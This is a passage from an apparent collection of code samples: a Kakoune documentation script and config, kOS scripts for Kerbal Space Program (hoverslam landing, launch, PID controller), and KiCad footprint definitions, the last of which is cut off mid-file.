\\[\\[(.*?)\\]\\]\\s* <ret>\n        evaluate-commands -itersel %{\n            set-option -add buffer doc_anchors \"%val{selection_desc}|%reg{1}\"\n        }\n        execute-keys d\n        update-option buffer doc_anchors\n    } }\n}\n\ndefine-command doc-jump-to-anchor -params 1 %{\n    update-option buffer doc_anchors\n    evaluate-commands %sh{\n        anchor=\"$1\"\n        eval \"set -- $kak_quoted_opt_doc_anchors\"\n\n        shift\n        for range in \"$@\"; do\n            if [ \"${range#*|}\" = \"$anchor\" ]; then\n                printf '%s\\n'  \"select '${range%|*}'; execute-keys vv\"\n                exit\n            fi\n        done\n        printf \"fail No such anchor '%s'\\n\" \"${anchor}\"\n    }\n}\n\ndefine-command doc-follow-link %{\n    update-option buffer doc_links\n    evaluate-commands %sh{\n        eval \"set -- $kak_quoted_opt_doc_links\"\n        for link in \"$@\"; do\n            printf '%s\\n' \"$link\"\n        done | awk -v FS='[.,|#]' '\n            BEGIN {\n                l=ENVIRON[\"kak_cursor_line\"];\n                c=ENVIRON[\"kak_cursor_column\"];\n            }\n            l >= $1 && c >= $2 && l <= $3 && c <= $4 {\n                if (NF == 6) {\n                    print \"doc \" $5\n                    if ($6 != \"\") {\n                        print \"doc-jump-to-anchor %{\" $6 \"}\"\n                    }\n                } else {\n                    print \"doc-jump-to-anchor %{\" $5 \"}\"\n                }\n                exit\n            }\n        '\n    }\n}\n\ndefine-command -params 1 -hidden doc-render %{\n    edit! -scratch \"*doc-%sh{basename $1 .asciidoc}*\"\n    execute-keys \"!cat %arg{1}<ret>gg\"\n\n    doc-parse-anchors\n\n    # Join paragraphs together\n    try %{\n        execute-keys -draft '%S\\n{2,}|(?<lt>=\\+)\\n|^[^\\n]+::\\n|^\\h*[*-]\\h+<ret>' \\\n            <a-K>^\\h*-{2,}(\\n|\\z)<ret> S\\n\\z<ret> <a-k>\\n<ret> <a-j>\n    }\n\n    # Remove some line end markers\n    try %{ execute-keys -draft <percent> s \\h*(\\+|:{2,})$ <ret> d }\n\n    # Setup the doc_render_ranges option\n    set-option buffer doc_render_ranges %val{timestamp}\n    doc-render-regex \\B(?<!\\\\)\\*(?=\\S)[^\\n]+?(?<=\\S)(?<!\\\\)\\*\\B \\A|.\\z 'H' default+b\n    doc-render-regex \\b(?<!\\\\)_(?=\\S)[^\\n]+?(?<=\\S)(?<!\\\\)_\\b \\A|.\\z 'H' default+i\n    doc-render-regex \\B(?<!\\\\)`(?=\\S)[^\\n]+?(?<=\\S)(?<!\\\\)`\\B \\A|.\\z 'H' mono\n    doc-render-regex ^=\\h+[^\\n]+ ^=\\h+ '~' title\n    doc-render-regex ^={2,}\\h+[^\\n]+ ^={2,}\\h+ '' header\n    doc-render-regex ^\\h*-{2,}\\n\\h*.*?^\\h*-{2,}\\n ^\\h*-{2,}\\n '' block\n\n    doc-parse-links\n\n    # Remove escaping of * and `\n    try %{ execute-keys -draft <percent> s \\\\((?=\\*)|(?=`)) <ret> d }\n\n    set-option buffer readonly true\n    add-highlighter buffer/ ranges doc_render_ranges\n    add-highlighter buffer/ ranges doc_render_links\n    add-highlighter buffer/ wrap -word -indent\n    map buffer normal <ret> ': doc-follow-link<ret>'\n}\n\ndefine-command -params 1..2 \\\n    -shell-script-candidates %{\n        if [ \"$kak_token_to_complete\" -eq 0 ]; then\n            find -L \\\n                \"${kak_config}/autoload/\" \\\n                \"${kak_runtime}/doc/\" \\\n                \"${kak_runtime}/rc/\" \\\n                -type f -name \"*.asciidoc\" |\n                sed 's,.*/,,; s/\\.[^.]*$//'\n        elif [ \"$kak_token_to_complete\" -eq 1 ]; then\n            page=$(\n                find -L \\\n                    \"${kak_config}/autoload/\" \\\n                    \"${kak_runtime}/doc/\" \\\n                    \"${kak_runtime}/rc/\" \\\n                    -type f -name \"$1.asciidoc\" |\n                    head -1\n            )\n            if [ -f \"${page}\" ]; then\n                awk '\n                    /^==+ +/ { sub(/^==+ +/, \"\"); print }\n                    /^\\[\\[[^\\]]+\\]\\]/ { sub(/^\\[\\[/, \"\"); sub(/\\]\\].*/, \"\"); print }\n                ' < $page | tr '[A-Z ]' '[a-z-]'\n            fi\n        fi\n    } \\\n    doc -docstring %{\n        doc <topic> [<keyword>]: open a buffer containing documentation about a given topic\n        An optional keyword argument can be passed to the function, which will be automatically selected in the documentation\n\n        See `:doc doc` for details.\n    } %{\n    evaluate-commands %sh{\n        page=$(\n            find -L \\\n                \"${kak_config}/autoload/\" \\\n                \"${kak_runtime}/doc/\" \\\n                \"${kak_runtime}/rc/\" \\\n                -type f -name \"$1.asciidoc\" |\n                head -1\n        )\n        if [ -f \"${page}\" ]; then\n            jump_cmd=\"\"\n            if [ $# -eq 2 ]; then\n                jump_cmd=\"doc-jump-to-anchor '$2'\"\n            fi\n            printf %s\\\\n \"evaluate-commands -try-client %opt{docsclient} %{ doc-render ${page}; ${jump_cmd} }\"\n        else\n            printf 'fail No such doc file: %s\\n' \"${page}\"\n        fi\n    }\n}\n\nalias global help doc\n\n"
  },
  {
    "path": "samples/KakouneScript/filenames/kakrc",
    "content": "# Set the colour scheme\ncolorscheme kaleidoscope-dark\n\n# Width of a tab\nset-option global tabstop 4\n\n# Indent with 4 spaces\nset-option global indentwidth 4\n\n# Always keep one line and three columns displayed around the cursor\nset-option global scrolloff 1,3\n\n# Display the status bar on top\nset-option global ui_options ncurses_status_on_top=true\n\n# Display line numbers\nadd-highlighter global/ number-lines -hlcursor\n\n# Highlight trailing whitespace\nadd-highlighter global/ regex \\h+$ 0:Error\n\n# Softwrap long lines\nadd-highlighter global/ wrap -word -indent\n\n# Clipboard management mappings\nmap -docstring \"yank the selection into the clipboard\" global user y \"<a-|> xsel -i<ret>\"\nmap -docstring \"paste the clipboard\" global user p \"<a-!> xsel<ret>\"\n\n# Shortcut to quickly exit the editor\ndefine-command -docstring \"save and quit\" x \"write-all; quit\"\n"
  },
  {
    "path": "samples/KerboScript/hoverslam.ks",
    "content": "// hoverslam\n// A SpaceX style \"hoverslam\" script for the kOS mod for Kerbal Space Program\n// Copyright © 2016 ayybradleyjh\n// Lic. MIT\n\nclearscreen.\nset radarOffset to 9.184.\t\t\t\t\t// The value of alt:radar when landed (on gear)\nlock trueRadar to alt:radar - radarOffset.\t\t\t// Offset radar to get distance from gear to ground\nlock g to constant:g * body:mass / body:radius^2.\t\t// Gravity (m/s^2)\nlock maxDecel to (ship:availablethrust / ship:mass) - g.\t// Maximum deceleration possible (m/s^2)\nlock stopDist to ship:verticalspeed^2 / (2 * maxDecel).\t\t// The distance the burn will require\nlock idealThrottle to stopDist / trueRadar.\t\t\t// Throttle required for perfect hoverslam\nlock impactTime to trueRadar / abs(ship:verticalspeed).\t\t// Time until impact, used for landing gear\n\nWAIT UNTIL ship:verticalspeed < -1.\n\tprint \"Preparing for hoverslam...\".\n\trcs on.\n\tbrakes on.\n\tlock steering to srfretrograde.\n\twhen impactTime < 3 then {gear on.}\n\nWAIT UNTIL trueRadar < stopDist.\n\tprint \"Performing hoverslam\".\n\tlock throttle to idealThrottle.\n\nWAIT UNTIL ship:verticalspeed > -0.01.\n\tprint \"Hoverslam completed\".\n\tset ship:control:pilotmainthrottle to 0.\n\trcs off.\n"
  },
  {
    "path": "samples/KerboScript/launch.ks",
    "content": "// launch\n// This script was taken from the KSP-KOS documentation page.\n// It is licensed under terms of GNU General Public License Version 3, 29 June 2007.\n\n//First, we'll clear the terminal screen to make it look nice\nCLEARSCREEN.\n\n//Next, we'll lock our throttle to 100%.\nLOCK THROTTLE TO 1.0.   // 1.0 is the max, 0.0 is idle.\n\n//This is our countdown loop, which cycles from 10 to 0\nPRINT \"Counting down:\".\nFROM {local countdown is 10.} UNTIL countdown = 0 STEP {SET countdown to countdown - 1.} DO {\n    PRINT \"...\" + countdown.\n    WAIT 1. // pauses the script here for 1 second.\n}\n\n//This is a trigger that constantly checks to see if our thrust is zero.\n//If it is, it will attempt to stage and then return to where the script\n//left off. The PRESERVE keyword keeps the trigger active even after it\n//has been triggered.\nWHEN MAXTHRUST = 0 THEN {\n    PRINT \"Staging\".\n    STAGE.\n    PRESERVE.\n}.\n\nLOCK STEERING TO UP.\n\nWAIT UNTIL ALTITUDE > 70000.\n\n// NOTE that it is vital to not just let the script end right away\n// here.  Once a kOS script just ends, it releases all the controls\n// back to manual piloting so that you can fly the ship by hand again.\n// If the program just ended here, then that would cause the throttle\n// to turn back off again right away and nothing would happen.\n"
  },
  {
    "path": "samples/KerboScript/lib_pid.ks",
    "content": "// lib_pid.ks provides routines to implement a simple generic PID controller.\n// Copyright © 2015,2016,2019 KSLib team \n// Lic. MIT\n@LAZYGLOBAL off.\n\nHUDTEXT(\"lib_pid.ks has been superseded by the kOS inbuilt PIDloop() function.\", 10, 2, 30, RED, FALSE).\nwait 0.5.\nHUDTEXT(\"It is maintained for example purposes only, please see the kOS documentation for more.\", 10, 4, 30, RED, FALSE).\n\nfunction PID_init {\n  parameter\n    Kp,      // gain of position\n    Ki,      // gain of integral\n    Kd,      // gain of derivative\n    cMin,  // the bottom limit of the control range (to protect against integral windup)\n    cMax.  // the the upper limit of the control range (to protect against integral windup)\n\n  local SeekP is 0. // desired value for P (will get set later).\n  local P is 0.     // phenomenon P being affected.\n  local I is 0.     // crude approximation of Integral of P.\n  local D is 0.     // crude approximation of Derivative of P.\n  local oldT is -1. // (old time) start value flags the fact that it hasn't been calculated\n  local oldInput is 0. // previous return value of PID controller.\n\n  // Because we don't have proper user structures in kOS (yet?)\n  // I'll store the PID tracking values in a list like so:\n  //\n  local PID_array is list(Kp, Ki, Kd, cMin, cMax, SeekP, P, I, D, oldT, oldInput).\n\n  return PID_array.\n}.\n\nfunction PID_seek {\n  parameter\n    PID_array, // array built with PID_init.\n    seekVal,   // value we want.\n    curVal.    // value we currently have.\n\n  // Using LIST() as a poor-man's struct.\n\n  local Kp   is PID_array[0].\n  local Ki   is PID_array[1].\n  local Kd   is PID_array[2].\n  local cMin is PID_array[3].\n  local cMax is PID_array[4].\n  local oldS   is PID_array[5].\n  local oldP   is PID_array[6].\n  local oldI   is PID_array[7].\n  local oldD   is PID_array[8].\n  local oldT   is PID_array[9]. // Old Time\n  local oldInput is PID_array[10]. // prev return value, just in case we have to do nothing and return it again.\n\n  local P is seekVal - curVal.\n  local D is oldD. // default if we do no work this time.\n  local I is oldI. // default if we do no work this time.\n  local newInput is oldInput. // default if we do no work this time.\n\n  local t is time:seconds.\n  local dT is t - oldT.\n\n  if oldT < 0 {\n    // I have never been called yet - so don't trust any\n    // of the settings yet.\n  } else {\n    if dT > 0 { // Do nothing if no physics tick has passed from prev call to now.\n     set D to (P - oldP)/dT. // crude fake derivative of P\n     local onlyPD is Kp*P + Kd*D.\n     if (oldI > 0 or onlyPD > cMin) and (oldI < 0 or onlyPD < cMax) { // only do the I turm when within the control range\n      set I to oldI + P*dT. // crude fake integral of P\n     }.\n     set newInput to onlyPD + Ki*I.\n    }.\n  }.\n\n  set newInput to max(cMin,min(cMax,newInput)).\n\n  // remember old values for next time.\n  set PID_array[5] to seekVal.\n  set PID_array[6] to P.\n  set PID_array[7] to I.\n  set PID_array[8] to D.\n  set PID_array[9] to t.\n  set PID_array[10] to newInput.\n\n  return newInput.\n}.\n"
  },
  {
    "path": "samples/KiCad Layout/C_Disc_D3_P2.5.kicad_mod",
    "content": "(module footprints:C_Disc_D3_P2.5 (layer F.Cu) (tedit 0)\n  (descr \"Capacitor 3mm Disc, Pitch 2.5mm\")\n  (tags Capacitor)\n  (fp_text reference C1 (at 1.25 -2.5) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_text value C_100nF (at 1.25 2.5) (layer F.Fab)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_line (start -0.9 -1.5) (end 3.4 -1.5) (layer F.CrtYd) (width 0.05))\n  (fp_line (start 3.4 -1.5) (end 3.4 1.5) (layer F.CrtYd) (width 0.05))\n  (fp_line (start 3.4 1.5) (end -0.9 1.5) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -0.9 1.5) (end -0.9 -1.5) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -0.25 -1.25) (end 2.75 -1.25) (layer F.SilkS) (width 0.15))\n  (fp_line (start 2.75 1.25) (end -0.25 1.25) (layer F.SilkS) (width 0.15))\n  (pad 1 thru_hole rect (at 0 0) (size 1.3 1.3) (drill 0.8) (layers *.Cu *.Mask F.SilkS))\n  (pad 2 thru_hole circle (at 2.5 0) (size 1.3 1.3) (drill 0.8001) (layers *.Cu *.Mask F.SilkS))\n  (model Capacitors_ThroughHole.3dshapes/C_Disc_D3_P2.5.wrl\n    (at (xyz 0.0492126 0 0))\n    (scale (xyz 1 1 1))\n    (rotate (xyz 0 0 0))\n  )\n)\n"
  },
  {
    "path": "samples/KiCad Layout/Conn_Poncho_SinBorde.kicad_mod",
    "content": "(module Conn_Poncho_SinBorde (layer F.Cu) (tedit 560F0DC0)\n  (tags \"CONN Poncho\")\n  (fp_text reference XA? (at -0.254 -3.175) (layer F.SilkS)\n    (effects (font (size 0.8 0.8) (thickness 0.12)))\n  )\n  (fp_text value Conn_Poncho_SinBorde (at -1.905 51.181) (layer F.SilkS) hide\n    (effects (font (size 1.016 1.016) (thickness 0.2032)))\n  )\n  (fp_text user GPIO8 (at -64.516 48.26) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GPIO7 (at -64.516 45.72) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GPIO5 (at -64.516 43.18) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GPIO3 (at -64.516 40.64) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GPIO1 (at -64.516 38.1) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user LCD1 (at -65.024 35.56) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user LCD2 (at -65.024 33.02) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user LCD3 (at -65.024 30.48) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user LCD_RS (at -64.008 27.94) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user LCD4 (at -65.024 25.4) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user SPI_SCK (at -63.754 22.86) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user SPI_MISO (at -63.5 20.32) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user TXD1 (at -65.024 17.78) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user TXD0 (at -65.024 15.24) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user MDIO (at -65.024 12.7) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user CRS_DV (at -64.008 10.16) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user MDC (at -65.278 7.62) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user TX_EN (at -64.77 5.08) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user RXD1 (at -65.024 2.54) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user +5V (at -65.532 0) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at -74.168 48.006) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at -74.168 45.72) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GPIO6 (at -74.93 43.18) (layer F.SilkS)\n    (effects (font (size 1 0.9) (thickness 0.2)))\n  )\n  (fp_text user GPIO4 (at -74.93 40.64) (layer F.SilkS)\n    (effects (font (size 1 0.9) (thickness 0.2)))\n  )\n  (fp_text user GPIO2 (at -74.93 38.1) (layer F.SilkS)\n    (effects (font (size 1 0.9) (thickness 0.2)))\n  )\n  (fp_text user GPIO0 (at -74.93 35.56) (layer F.SilkS)\n    (effects (font (size 1 0.9) (thickness 0.2)))\n  )\n  (fp_text user GND (at -74.168 33.02) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at -74.168 30.48) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user LCD_EN (at -74.676 27.686) (layer F.SilkS)\n    (effects (font (size 1 0.7) (thickness 0.17)))\n  )\n  (fp_text user SPI_MOSI (at -74.93 25.146) (layer F.SilkS)\n    (effects (font (size 1 0.7) (thickness 0.17)))\n  )\n  (fp_text user GND (at -74.168 22.86) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at -74.168 20.32) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user REF_CLK (at -74.93 17.78) (layer F.SilkS)\n    (effects (font (size 0.9 0.7) (thickness 0.175)))\n  )\n  (fp_text user GND (at -74.168 15.24) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at -74.168 12.7) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at -74.168 7.62) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user RXD0 (at -74.676 10.16) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at -74.168 5.08) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at -74.168 2.54) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user +3.3V (at -74.93 0) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at 5.588 48.26) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at 5.588 45.72) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user T_F1 (at 5.588 43.18) (layer F.SilkS)\n    (effects (font (size 0.9 0.9) (thickness 0.18)))\n  )\n  (fp_text user T_C2 (at 5.588 40.64) (layer F.SilkS)\n    (effects (font (size 0.9 0.9) (thickness 0.18)))\n  )\n  (fp_text user GND (at 5.588 38.1) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at 5.334 35.56) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at 5.588 33.02) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at 5.588 30.48) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at 5.588 27.94) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at 5.588 25.4) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GND (at 5.588 22.86) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GNDA (at 5.588 20.32) (layer F.SilkS)\n    (effects (font (size 0.76 0.76) (thickness 0.19)))\n  )\n  (fp_text user GNDA (at 5.588 17.78) (layer F.SilkS)\n    (effects (font (size 0.76 0.76) (thickness 0.19)))\n  )\n  (fp_text user GNDA (at 5.588 15.24) (layer F.SilkS)\n    (effects (font (size 0.76 0.76) (thickness 0.19)))\n  )\n  (fp_text user GNDA (at 5.588 12.7) (layer F.SilkS)\n    (effects (font (size 0.76 0.76) (thickness 0.19)))\n  )\n  (fp_text user GNDA (at 5.588 10.16) (layer F.SilkS)\n    (effects (font (size 0.76 0.76) (thickness 0.19)))\n  )\n  (fp_text user GNDA (at 5.588 7.62) (layer F.SilkS)\n    (effects (font (size 0.76 0.76) (thickness 0.19)))\n  )\n  (fp_text user WAKEUP (at 5.588 5.334) (layer F.SilkS)\n    (effects (font (size 1 0.5) (thickness 0.125)))\n  )\n  (fp_text user GND (at 5.588 3.048) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user +5V (at 5.588 0) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user T_COL0 (at -4.064 48.26) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user T_FIL2 (at -3.81 45.72) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user T_FIL3 (at -3.81 43.18) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user T_FIL0 (at -3.81 40.64) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user T_COL1 (at -4.064 38.1) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user CAN_TD (at -4.318 35.56) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user CAN_RD (at -4.318 33.02) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user 232_TX (at -4.318 30.48) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user 232_RX (at -4.318 27.94) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user I2C_SCL (at -4.572 25.4) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user I2C_SDA (at -4.572 22.86) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user VDDA (at -3.302 20.32) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user DAC (at -3.048 17.78) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user CH1 (at -3.048 15.24) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user CH2 (at -3.048 12.7) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user CH3 (at -3.048 10.16) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user GNDA (at -3.556 7.62) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user ISP (at -2.794 5.08) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user RESET (at -3.81 2.54) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_text user CIAA-P2 (at -69.85 -2.032) (layer F.SilkS)\n    (effects (font (size 0.8 0.8) (thickness 0.12)))\n  )\n  (fp_text user CIAA-P1 (at 1.27 -2.032) (layer F.SilkS)\n    (effects (font (size 0.8 0.8) (thickness 0.12)))\n  )\n  (fp_text user +3.3V (at -3.81 0) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.2)))\n  )\n  (fp_line (start -72.39 0) (end -72.39 -1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start -72.39 -1.27) (end -67.31 -1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start -67.31 -1.27) (end -67.31 49.53) (layer F.SilkS) (width 0.15))\n  (fp_line (start -67.31 49.53) (end -72.39 49.53) (layer F.SilkS) (width 0.15))\n  (fp_line (start -72.39 49.53) (end -72.39 0) (layer F.SilkS) (width 0.15))\n  (fp_line (start -1.27 49.53) (end -1.27 -1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 3.81 49.53) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 3.81 49.53) (end -1.27 49.53) (layer F.SilkS) (width 0.15))\n  (fp_line (start 3.81 -1.27) (end -1.27 -1.27) (layer F.SilkS) (width 0.15))\n  (pad 1 thru_hole rect (at 0 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 2 thru_hole oval (at 2.54 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 11 thru_hole oval (at 0 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 4 thru_hole oval (at 2.54 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 13 thru_hole oval (at 0 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 6 thru_hole oval (at 2.54 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 15 thru_hole oval (at 0 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 8 thru_hole oval (at 2.54 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 17 thru_hole oval (at 0 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 10 thru_hole oval (at 2.54 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 19 thru_hole oval (at 0 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 12 thru_hole oval (at 2.54 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 21 thru_hole oval (at 0 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 14 thru_hole oval (at 2.54 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 23 thru_hole oval (at 0 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 16 thru_hole oval (at 2.54 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 25 thru_hole oval (at 0 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 18 thru_hole oval (at 2.54 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 27 thru_hole oval (at 0 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 20 thru_hole oval (at 2.54 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 29 thru_hole oval (at 0 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 22 thru_hole oval (at 2.54 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 31 thru_hole oval (at 0 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 24 thru_hole oval (at 2.54 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 26 thru_hole oval (at 2.54 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 33 thru_hole oval (at 0 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 28 thru_hole oval (at 2.54 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 32 thru_hole oval (at 2.54 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 34 thru_hole oval (at 2.54 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 36 thru_hole oval (at 2.54 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 38 thru_hole oval (at 2.54 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 35 thru_hole oval (at 0 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 37 thru_hole oval (at 0 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 3 thru_hole oval (at 0 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 5 thru_hole oval (at 0 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 7 thru_hole oval (at 0 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 9 thru_hole oval (at 0 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 39 thru_hole oval (at 0 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 40 thru_hole oval (at 2.54 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 30 thru_hole oval (at 2.54 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 41 thru_hole rect (at -71.12 0 270) (size 